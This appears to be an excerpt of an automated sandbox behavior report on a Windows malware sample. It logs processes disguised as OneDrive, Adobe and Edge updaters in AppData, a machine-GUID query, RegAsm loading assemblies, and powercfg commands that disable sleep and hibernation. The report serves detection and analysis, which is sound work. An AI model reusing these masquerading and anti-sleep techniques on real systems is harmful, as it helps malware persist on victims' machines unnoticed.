Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Users\user\AppData\Roaming\OneDriveUpdate\OneDrive Updater.exe	Queries volume information: C:\Users\user\AppData\Roaming\OneDriveUpdate\OneDrive Updater.exe VolumeInformation
Source: C:\Users\user\AppData\Roaming\OneDriveUpdate\OneDrive Updater.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0013~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\Microsoft.PowerShell.LocalAccounts\1.0.0.0\Microsoft.PowerShell.LocalAccounts.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation

Source: C:\Users\user\AppData\Roaming\AdobeLicense\AdobeUpdate.exe

Code function: 1_2_00007FF6C12AD8CC GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

1_2_00007FF6C12AD8CC

Source: C:\Users\user\AppData\Roaming\Microsoft Edge\build.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Lowering of HIPS / PFW / Operating System Security Settings

Modifies power options to not sleep / hibernate

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\powercfg.exe powercfg /x -hibernate-timeout-ac 0
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\powercfg.exe powercfg /x -standby-timeout-ac 0
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\powercfg.exe powercfg /x -hibernate-timeout-ac 0
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\powercfg.exe powercfg /x -standby-timeout-ac 0
